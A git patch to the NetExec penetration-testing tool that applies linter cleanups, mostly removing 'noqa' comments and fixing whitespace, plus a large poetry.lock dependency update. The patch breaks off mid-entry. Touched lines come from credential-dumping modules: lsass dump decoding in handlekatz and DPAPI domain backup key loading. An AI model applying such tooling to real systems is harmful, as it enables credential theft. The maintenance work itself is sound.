b3ce2316cb5c059f6428146d6f51ef0e96791bf3 Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Thu, 29 May 2025 13:13:04 -0700 Subject: [PATCH 100/103] Numerous ruff linter adjustments and fixes --- nxc/logger.py | 2 +- nxc/modules/daclread.py | 2 +- nxc/modules/handlekatz.py | 4 +- nxc/modules/user-desc.py | 2 +- nxc/protocols/ftp.py | 4 +- nxc/protocols/nfs.py | 6 +- nxc/protocols/smb.py | 7 +- poetry.lock | 1606 +++++++++++++++++++----------------- pyproject.toml | 3 +- tests/test_smb_database.py | 2 +- 10 files changed, 846 insertions(+), 792 deletions(-) diff --git a/nxc/logger.py b/nxc/logger.py index ad707e0738..5fc134b4b9 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -175,7 +175,7 @@ def add_file_log(self, log_file=None): file_creation = False if not os.path.isfile(output_file): - open(output_file, "x") # noqa: SIM115 + open(output_file, "x") file_creation = True file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8") diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index b1a6d3ba49..9d20bac7a3 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -231,7 +231,7 @@ def options(self, context, module_options): context.log.debug("There is a target specified!") if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None: try: - self.target_file = open(module_options["TARGET"]) # noqa: SIM115 + self.target_file = open(module_options["TARGET"]) self.target_sAMAccountName = None except Exception: context.log.fail("The file doesn't exist or cannot be openned.") diff --git a/nxc/modules/handlekatz.py b/nxc/modules/handlekatz.py index ba598cafc5..7ff3764ece 100644 --- a/nxc/modules/handlekatz.py +++ b/nxc/modules/handlekatz.py @@ -126,8 +126,8 @@ def on_admin_login(self, context, connection): except Exception as e: context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}") - h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115 - h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115 + h_in = open(self.dir_result + machine_name, "rb") + h_out = open(self.dir_result + machine_name + ".decode", "wb") bytes_in = bytearray(h_in.read()) bytes_in_len = len(bytes_in) diff --git a/nxc/modules/user-desc.py b/nxc/modules/user-desc.py index 47d6e574a3..0464d140ce 100644 --- a/nxc/modules/user-desc.py +++ b/nxc/modules/user-desc.py @@ -94,7 +94,7 @@ def create_log_file(self, host, time): logfile = Path.home().joinpath(".nxc").joinpath("logs").joinpath(logfile) self.context.log.info(f"Creating log file '{logfile}'") - self.log_file = open(logfile, "w") # noqa: SIM115 + self.log_file = open(logfile, "w") self.append_to_log("User:", "Description:") def delete_log_file(self): diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index decac478fa..30e30ecf56 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -139,7 +139,7 @@ def get_file(self, filename): # Check if the file exists self.conn.size(filename) # Attempt to download the file - self.conn.retrbinary(f"RETR {filename}", open(downloaded_file, "wb").write) # noqa: SIM115 + self.conn.retrbinary(f"RETR {filename}", open(downloaded_file, "wb").write) except error_perm as error_message: self.logger.fail(f"Failed to download the file. Response: ({error_message})") self.conn.close() @@ -157,7 +157,7 @@ def get_file(self, filename): def put_file(self, local_file, remote_file): try: # Attempt to upload the file - self.conn.storbinary(f"STOR {remote_file}", open(local_file, "rb")) # noqa: SIM115 + self.conn.storbinary(f"STOR {remote_file}", open(local_file, "rb")) except error_perm as error_message: self.logger.fail(f"Failed to upload file. Response: ({error_message})") return False diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index bd91e2bdbd..060954edb5 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -562,13 +562,13 @@ def get_root_handles(self, mount_fh): # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) if filesystem in [FileID.ext, FileID.unknown]: - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4 + fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4 + fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) if filesystem in [FileID.btrfs, FileID.unknown]: # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling for i in range(16): subvolume = int.to_bytes(i) + b"\x01\x00\x00" - root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4 + fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) return root_handles diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e7f4d0d207..b48748c474 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -132,7 +132,6 @@ def __init__(self, args, db, host): self.c_share_write_checked = False self.isdc = False - connection.__init__(self, args, db, host) def proto_logger(self): @@ -612,7 +611,6 @@ def create_conn_obj(self): self.logger.debug("SMBv1 fallback disabled; not attempting SMBv1 connection.") return False - def check_if_admin(self): try: if self.password is None and not self.nthash: @@ -1205,7 +1203,6 @@ def shares(self): return permissions - def dir(self): search_path = ntpath.join(self.args.dir, "*") try: @@ -1746,7 +1743,7 @@ def dpapi(self): if self.args.pvk is not None: try: - self.pvkbytes = open(self.args.pvk, "rb").read() # noqa: SIM115 + self.pvkbytes = open(self.args.pvk, "rb").read() self.logger.success(f"Loading domain backupkey from {self.args.pvk}") except Exception as e: self.logger.fail(str(e)) @@ -1767,7 +1764,7 @@ def dpapi(self): use_kcache=self.use_kcache, ) - self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 + self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") conn = upgrade_to_dploot_connection(connection=self.conn, target=target) if conn is None: diff --git a/poetry.lock b/poetry.lock index 0f41068ec2..155563a61c 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2,18 +2,45 @@ [[package]] name = "aardwolf" -version = "0.2.11" +version = "0.2.12" description = "Asynchronous RDP protocol implementation" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "aardwolf-0.2.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d071445ac0afed6e14e7cff1187db26c6331e84c383ea305b1f9041153dd71c4"}, - {file = "aardwolf-0.2.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:764bfe8cf5898b08e1c0923bea9b9a887b044d9e95461cecf59d864b7f0884dc"}, - {file = "aardwolf-0.2.11-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5fb78ff2f410ff7effffc22bf7ba72f0dd0c95a6b7ac14d548ccbbc646699c27"}, - {file = "aardwolf-0.2.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c80a755da73568c61803957980266f6fdcd414507f9bfe628230f7a18d116b2e"}, - {file = "aardwolf-0.2.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce4bf855bec187c4ad5420f1da66ce1799f16dd0a34f81904e02e860ed85bbec"}, - {file = "aardwolf-0.2.11.tar.gz", hash = "sha256:46dc892703f133961b782fd2971124803cba7409ea5dad5b4ebb7653b16dcdf3"}, + {file = "aardwolf-0.2.12-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c79827c407331dab305c430516b4ca04409510cffe32d2b78de273686e784ed6"}, + {file = "aardwolf-0.2.12-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce260151ea3cd27d6d307f24e8634d1b50f887d12663f945ffd8ef7978b9d4a6"}, + {file = "aardwolf-0.2.12-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e750f4f652551e8074e21c278e92c894fc5ec3d7c7ae817af7ef20b6a15c4f3c"}, + {file = "aardwolf-0.2.12-cp310-cp310-win_amd64.whl", hash = "sha256:663cf0778d385a00a57576ddb880232fee5d13af89102e02cbc630c75d237712"}, + {file = "aardwolf-0.2.12-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:61e3fb5b4bc5c851a6a117b6de7ed686171c80e745e2853520c5c1043f989e65"}, + {file = "aardwolf-0.2.12-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:63c4257a14972d4e7b90bd1ef3abf56095fed46389c22d07a4ecfcef58815c0f"}, + {file = "aardwolf-0.2.12-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea656d9cd0c0da8bc11af03cd3a3ab63d0f94e6b21bfef4a768a7d0973bce839"}, + {file = "aardwolf-0.2.12-cp311-cp311-win_amd64.whl", hash = "sha256:57abacacf26a9222fb2d7ff0a31c9eb53091bbf2a2189917429b4ac586e8f035"}, + {file = "aardwolf-0.2.12-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ebf31cd994e5fb9b14f0ed062edf38b69303f7a32c4ced2a8df6b6f88a9d6aff"}, + {file = "aardwolf-0.2.12-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e47a1354dba3b588ad54479bb291673541635d73328b88f857cf9c3965485784"}, + {file = "aardwolf-0.2.12-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:60fb7714a49fe5be39248223ba885387ae9a33ad342d5e49a5f6a221f988a4fe"}, + {file = "aardwolf-0.2.12-cp312-cp312-win_amd64.whl", hash = "sha256:0c35fd41aaee9c9572f6bff264efef25a6e8d6bf76ede9bc410634c55e8b8841"}, + {file = "aardwolf-0.2.12-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4800febe0a41eadea4140e5eaa6fa07be149f64578cf98bcd05cf4cb13fb9d42"}, + {file = "aardwolf-0.2.12-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d7a7afe45c231e34418a80563f8d9564f16b778bab0e687bab835983c46b0d94"}, + {file = "aardwolf-0.2.12-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:93e2c585a99ff6f9357634c54351618e7d886f6c0cf7b928c6653e64a9df3ab3"}, + {file = "aardwolf-0.2.12-cp313-cp313-win_amd64.whl", hash = "sha256:448c705eb0379414b95d05b7b500cdc303cf5ab95fab5ed5398a5015b90f3ce9"}, + {file = "aardwolf-0.2.12-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:8f20f43242920fabe4a5b8a119b85b3121d929cd86230dd721f4df53023f1266"}, + {file = "aardwolf-0.2.12-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:80991616b8b5559b821d557e3f2fdfaf16db54004f853c2c0cd5fa5c8fe54805"}, + {file = "aardwolf-0.2.12-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c89cfbc031daca931a670ccc6f83d6e0500008ee0e4b1914576e4556e20748b7"}, + {file = "aardwolf-0.2.12-cp39-cp39-win_amd64.whl", hash = "sha256:fd555ce96abe8ee3c9ef4479792736c119e5f257e6cfe9c38cf771930c3e8ffb"}, + {file = "aardwolf-0.2.12-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:6871f7bd1e9f175ec00c6e990393b938a1f9e06877038d60b3a61ac9addad44b"}, + {file = "aardwolf-0.2.12-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ffb3594020add7d3d7e634e8cde56b7d14a2aa5f7a42a83792bc45d3aa0acb08"}, + {file = "aardwolf-0.2.12-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5f5963cb2258aa50ea118e98dc6a25576c4f171ee74318e1813cb4c7a9504ccf"}, + {file = "aardwolf-0.2.12-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7b3b08404bd747ee06388d65d57f2b068a2d65998aef124e03ce1548b57e396e"}, + {file = "aardwolf-0.2.12-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:651bbda4bd2904705ddaef3c3c3fa0f8ab0cccd9c1f2cc346d07c66d730ea552"}, + {file = "aardwolf-0.2.12-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5cbd490c6c96aba5b163cc7fa7e5155104cf5adcd1060989aaa23333ae352d8"}, + {file = "aardwolf-0.2.12-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aadb90cc094135c81357ac281a5a0a435715c147c848ab291ddcbff79ecd4fa"}, + {file = "aardwolf-0.2.12-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:3cef95bc36c88e11c91fa2c126c0d5884fd130da7094818873f2d7779c690bae"}, + {file = "aardwolf-0.2.12-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:a7f247d2df3f40adbd67f919f5537f4b19a9033bd1783a7c25a48b423b834799"}, + {file = "aardwolf-0.2.12-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c817b163167b14247c3ae79a72d0a774125576c556cddc5c0d55864a0b074694"}, + {file = "aardwolf-0.2.12-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5a2df99daf4a50ae05147632bd74bd767ed91e6a7d145b9c11dcf8e1e60a636d"}, + {file = "aardwolf-0.2.12-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:54f3d435c39b0738e56141f153a0be3cd5bbfbb6e36a566ba0966bcfd5a36015"}, + {file = "aardwolf-0.2.12.tar.gz", hash = "sha256:fc9b1e580dc11ab91c93a9025d904291fb7b1269559f264840aade6f2c3d3590"}, ] [package.dependencies] @@ -122,14 +149,14 @@ files = [ [[package]] name = "argcomplete" -version = "3.5.3" +version = "3.6.2" description = "Bash tab completion for argparse" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "argcomplete-3.5.3-py3-none-any.whl", hash = "sha256:2ab2c4a215c59fd6caaff41a869480a23e8f6a5f910b266c1808037f4e375b61"}, - {file = "argcomplete-3.5.3.tar.gz", hash = "sha256:c12bf50eded8aebb298c7b7da7a5ff3ee24dffd9f5281867dfe1424b58c55392"}, + {file = "argcomplete-3.6.2-py3-none-any.whl", hash = "sha256:65b3133a29ad53fb42c48cf5114752c7ab66c1c38544fdf6460f450c09b42591"}, + {file = "argcomplete-3.6.2.tar.gz", hash = "sha256:d0519b1bc867f5f4f4713c41ad0aba73a4a5f007449716b16f385f2166dc6adf"}, ] [package.extras] @@ -203,37 +230,63 @@ h11 = ">=0.14.0" [[package]] name = "bcrypt" -version = "4.2.1" +version = "4.3.0" description = "Modern password hashing for your software and your servers" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "bcrypt-4.2.1-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:1340411a0894b7d3ef562fb233e4b6ed58add185228650942bdc885362f32c17"}, - {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b1ee315739bc8387aa36ff127afc99120ee452924e0df517a8f3e4c0187a0f5f"}, - {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dbd0747208912b1e4ce730c6725cb56c07ac734b3629b60d4398f082ea718ad"}, - {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:aaa2e285be097050dba798d537b6efd9b698aa88eef52ec98d23dcd6d7cf6fea"}, - {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:76d3e352b32f4eeb34703370e370997065d28a561e4a18afe4fef07249cb4396"}, - {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:b7703ede632dc945ed1172d6f24e9f30f27b1b1a067f32f68bf169c5f08d0425"}, - {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:89df2aea2c43be1e1fa066df5f86c8ce822ab70a30e4c210968669565c0f4685"}, - {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:04e56e3fe8308a88b77e0afd20bec516f74aecf391cdd6e374f15cbed32783d6"}, - {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:cfdf3d7530c790432046c40cda41dfee8c83e29482e6a604f8930b9930e94139"}, - {file = "bcrypt-4.2.1-cp37-abi3-win32.whl", hash = "sha256:adadd36274510a01f33e6dc08f5824b97c9580583bd4487c564fc4617b328005"}, - {file = "bcrypt-4.2.1-cp37-abi3-win_amd64.whl", hash = "sha256:8c458cd103e6c5d1d85cf600e546a639f234964d0228909d8f8dbeebff82d526"}, - {file = "bcrypt-4.2.1-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:8ad2f4528cbf0febe80e5a3a57d7a74e6635e41af1ea5675282a33d769fba413"}, - {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:909faa1027900f2252a9ca5dfebd25fc0ef1417943824783d1c8418dd7d6df4a"}, - {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cde78d385d5e93ece5479a0a87f73cd6fa26b171c786a884f955e165032b262c"}, - {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:533e7f3bcf2f07caee7ad98124fab7499cb3333ba2274f7a36cf1daee7409d99"}, - {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:687cf30e6681eeda39548a93ce9bfbb300e48b4d445a43db4298d2474d2a1e54"}, - {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:041fa0155c9004eb98a232d54da05c0b41d4b8e66b6fc3cb71b4b3f6144ba837"}, - {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:f85b1ffa09240c89aa2e1ae9f3b1c687104f7b2b9d2098da4e923f1b7082d331"}, - {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:c6f5fa3775966cca251848d4d5393ab016b3afed251163c1436fefdec3b02c84"}, - {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:807261df60a8b1ccd13e6599c779014a362ae4e795f5c59747f60208daddd96d"}, - {file = "bcrypt-4.2.1-cp39-abi3-win32.whl", hash = "sha256:b588af02b89d9fad33e5f98f7838bf590d6d692df7153647724a7f20c186f6bf"}, - {file = "bcrypt-4.2.1-cp39-abi3-win_amd64.whl", hash = "sha256:e84e0e6f8e40a242b11bce56c313edc2be121cec3e0ec2d76fce01f6af33c07c"}, - {file = "bcrypt-4.2.1-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:76132c176a6d9953cdc83c296aeaed65e1a708485fd55abf163e0d9f8f16ce0e"}, - {file = "bcrypt-4.2.1-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:e158009a54c4c8bc91d5e0da80920d048f918c61a581f0a63e4e93bb556d362f"}, - {file = "bcrypt-4.2.1.tar.gz", hash = "sha256:6765386e3ab87f569b276988742039baab087b2cdb01e809d74e74503c2faafe"}, + {file = "bcrypt-4.3.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f01e060f14b6b57bbb72fc5b4a83ac21c443c9a2ee708e04a10e9192f90a6281"}, + {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5eeac541cefd0bb887a371ef73c62c3cd78535e4887b310626036a7c0a817bb"}, + {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:59e1aa0e2cd871b08ca146ed08445038f42ff75968c7ae50d2fdd7860ade2180"}, + {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:0042b2e342e9ae3d2ed22727c1262f76cc4f345683b5c1715f0250cf4277294f"}, + {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74a8d21a09f5e025a9a23e7c0fd2c7fe8e7503e4d356c0a2c1486ba010619f09"}, + {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:0142b2cb84a009f8452c8c5a33ace5e3dfec4159e7735f5afe9a4d50a8ea722d"}, + {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:12fa6ce40cde3f0b899729dbd7d5e8811cb892d31b6f7d0334a1f37748b789fd"}, + {file = "bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:5bd3cca1f2aa5dbcf39e2aa13dd094ea181f48959e1071265de49cc2b82525af"}, + {file = "bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:335a420cfd63fc5bc27308e929bee231c15c85cc4c496610ffb17923abf7f231"}, + {file = "bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:0e30e5e67aed0187a1764911af023043b4542e70a7461ad20e837e94d23e1d6c"}, + {file = "bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:3b8d62290ebefd49ee0b3ce7500f5dbdcf13b81402c05f6dafab9a1e1b27212f"}, + {file = "bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2ef6630e0ec01376f59a006dc72918b1bf436c3b571b80fa1968d775fa02fe7d"}, + {file = "bcrypt-4.3.0-cp313-cp313t-win32.whl", hash = "sha256:7a4be4cbf241afee43f1c3969b9103a41b40bcb3a3f467ab19f891d9bc4642e4"}, + {file = "bcrypt-4.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5c1949bf259a388863ced887c7861da1df681cb2388645766c89fdfd9004c669"}, + {file = "bcrypt-4.3.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:f81b0ed2639568bf14749112298f9e4e2b28853dab50a8b357e31798686a036d"}, + {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:864f8f19adbe13b7de11ba15d85d4a428c7e2f344bac110f667676a0ff84924b"}, + {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e36506d001e93bffe59754397572f21bb5dc7c83f54454c990c74a468cd589e"}, + {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:842d08d75d9fe9fb94b18b071090220697f9f184d4547179b60734846461ed59"}, + {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7c03296b85cb87db865d91da79bf63d5609284fc0cab9472fdd8367bbd830753"}, + {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:62f26585e8b219cdc909b6a0069efc5e4267e25d4a3770a364ac58024f62a761"}, + {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:beeefe437218a65322fbd0069eb437e7c98137e08f22c4660ac2dc795c31f8bb"}, + {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:97eea7408db3a5bcce4a55d13245ab3fa566e23b4c67cd227062bb49e26c585d"}, + {file = "bcrypt-4.3.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:191354ebfe305e84f344c5964c7cd5f924a3bfc5d405c75ad07f232b6dffb49f"}, + {file = "bcrypt-4.3.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:41261d64150858eeb5ff43c753c4b216991e0ae16614a308a15d909503617732"}, + {file = "bcrypt-4.3.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:33752b1ba962ee793fa2b6321404bf20011fe45b9afd2a842139de3011898fef"}, + {file = "bcrypt-4.3.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:50e6e80a4bfd23a25f5c05b90167c19030cf9f87930f7cb2eacb99f45d1c3304"}, + {file = "bcrypt-4.3.0-cp38-abi3-win32.whl", hash = "sha256:67a561c4d9fb9465ec866177e7aebcad08fe23aaf6fbd692a6fab69088abfc51"}, + {file = "bcrypt-4.3.0-cp38-abi3-win_amd64.whl", hash = "sha256:584027857bc2843772114717a7490a37f68da563b3620f78a849bcb54dc11e62"}, + {file = "bcrypt-4.3.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0d3efb1157edebfd9128e4e46e2ac1a64e0c1fe46fb023158a407c7892b0f8c3"}, + {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08bacc884fd302b611226c01014eca277d48f0a05187666bca23aac0dad6fe24"}, + {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6746e6fec103fcd509b96bacdfdaa2fbde9a553245dbada284435173a6f1aef"}, + {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:afe327968aaf13fc143a56a3360cb27d4ad0345e34da12c7290f1b00b8fe9a8b"}, + {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d9af79d322e735b1fc33404b5765108ae0ff232d4b54666d46730f8ac1a43676"}, + {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f1e3ffa1365e8702dc48c8b360fef8d7afeca482809c5e45e653af82ccd088c1"}, + {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:3004df1b323d10021fda07a813fd33e0fd57bef0e9a480bb143877f6cba996fe"}, + {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:531457e5c839d8caea9b589a1bcfe3756b0547d7814e9ce3d437f17da75c32b0"}, + {file = "bcrypt-4.3.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:17a854d9a7a476a89dcef6c8bd119ad23e0f82557afbd2c442777a16408e614f"}, + {file = "bcrypt-4.3.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6fb1fd3ab08c0cbc6826a2e0447610c6f09e983a281b919ed721ad32236b8b23"}, + {file = "bcrypt-4.3.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:e965a9c1e9a393b8005031ff52583cedc15b7884fce7deb8b0346388837d6cfe"}, + {file = "bcrypt-4.3.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:79e70b8342a33b52b55d93b3a59223a844962bef479f6a0ea318ebbcadf71505"}, + {file = "bcrypt-4.3.0-cp39-abi3-win32.whl", hash = "sha256:b4d4e57f0a63fd0b358eb765063ff661328f69a04494427265950c71b992a39a"}, + {file = "bcrypt-4.3.0-cp39-abi3-win_amd64.whl", hash = "sha256:e53e074b120f2877a35cc6c736b8eb161377caae8925c17688bd46ba56daaa5b"}, + {file = "bcrypt-4.3.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c950d682f0952bafcceaf709761da0a32a942272fad381081b51096ffa46cea1"}, + {file = "bcrypt-4.3.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:107d53b5c67e0bbc3f03ebf5b030e0403d24dda980f8e244795335ba7b4a027d"}, + {file = "bcrypt-4.3.0-pp310-pypy310_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:b693dbb82b3c27a1604a3dff5bfc5418a7e6a781bb795288141e5f80cf3a3492"}, + {file = "bcrypt-4.3.0-pp310-pypy310_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:b6354d3760fcd31994a14c89659dee887f1351a06e5dac3c1142307172a79f90"}, + {file = "bcrypt-4.3.0-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:a839320bf27d474e52ef8cb16449bb2ce0ba03ca9f44daba6d93fa1d8828e48a"}, + {file = 